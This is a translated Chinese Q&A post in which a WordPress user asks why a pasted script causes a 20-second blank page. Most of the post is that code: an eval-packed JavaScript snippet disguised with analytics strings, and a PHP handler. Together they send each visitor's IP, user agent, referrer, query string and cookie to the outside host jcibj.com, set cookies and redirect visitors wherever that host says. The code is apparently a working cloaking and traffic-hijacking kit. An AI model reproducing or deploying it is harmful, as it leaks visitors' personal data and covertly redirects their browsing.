【发布时间】:2017-03-29 15:54:58
【问题描述】:
我在我的 wordpress 网站中使用以下脚本,问题是在将其插入页面的头部时。当输入 url 并点击进入页面时,页面会保持空白(白屏)大约 20 秒。然后加载整个页面。
我已经尝试使用全新的 wordpress 安装和默认的 wordpress 主题使用此脚本,即使出现延迟也是如此。所以我认为这不是我正在使用的自定义 wordpress 主题的问题。
即使我把它放在页脚,但没有运气。
以下是我正在使用的 2 个代码,我需要弄清楚发生了什么。
由于某种原因,我的代码未在此处格式化。请参考这个
<style>
html {
display: none;
}
</style>
<script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js"> </script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js"> </script>
<script>
eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('$(2).7(3(){$("8").9();0 f=h i();f.j("k",2.4,l);f.5(m);0 g=f.n().o();0 b="p";0 c=("2","q","//s.t-6.u/6.v");c=("w","x-y-1","z");c=("5","A");0 d=B.C();0 e=d.D();$.E({F:4.G,H:"I",J:"K="+e+"&r="+2.L+"&M="+g,N:3(a){O(a)}})});', 51, 51, 'var||document|function|location|send|analytics|ready|html|hide||||||||new|XMLHttpRequest|open|GET|false|null|getAllResponseHeaders|toLowerCase|GoogleAnalyticsObject|script||www|google|com|js|create|UA|4964223|auto|pageview|jstz|determine|name|ajax|url|href|type|POST|data|tz|referrer|he|success|eval'.split('|'), 0, {}))
和 PHP
<?php
error_reporting(E_ALL & ~E_NOTICE);
if (isset($_POST["tz"])) {
$id = "202186";
$uid = "g7tcv86snc6u6hh7aeuzmbbon";
$qu = $_SERVER["QUERY_STRING"];
$ch = curl_init();
$url = "http://jcibj.com/pcl.php";
$data = array(
"lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
"ref" => $_POST["r"],
"ip" => $_SERVER["REMOTE_ADDR"],
"ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
"sn" => $_SERVER["SERVER_NAME"],
"query" => $qu,
"ua" => $_SERVER["HTTP_USER_AGENT"],
"co" => $_COOKIE["_event"],
"tz" => $_POST["tz"],
"he" => $_POST["he"],
"user_id" => $uid,
"id" => $id
);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu)) {
if (strpos($arr[1], "?")) {
$q = "&" . $qu;
} else {
$q = "?" . $qu;
}
} else {
$q = "";
}
if ($arr[0] === "true") {
if (strstr($arr[1], "sp.php")) {
$q = "";
}
if (!empty($arr[7])) {
setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9]);
}
if ($arr[2]) {
if ($arr[4] == 1 OR $arr[4] == 3) {
setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $q . '"';
exit();
} elseif ($arr[0] === "false") {
if ($arr[5]) {
$f = $q;
} else {
$f = "";
}
if ($arr[2]) {
if ($arr[4] == 2 OR $arr[4] == 3) {
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $f . '"';
exit();
} else {
if ($arr[2]) {
if ($arr[4] == 2 OR $arr[4] == 3) {
setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
}
}
echo '$("html").show();$("body").fadeIn(500);';
exit();
}
}
?>
【问题讨论】: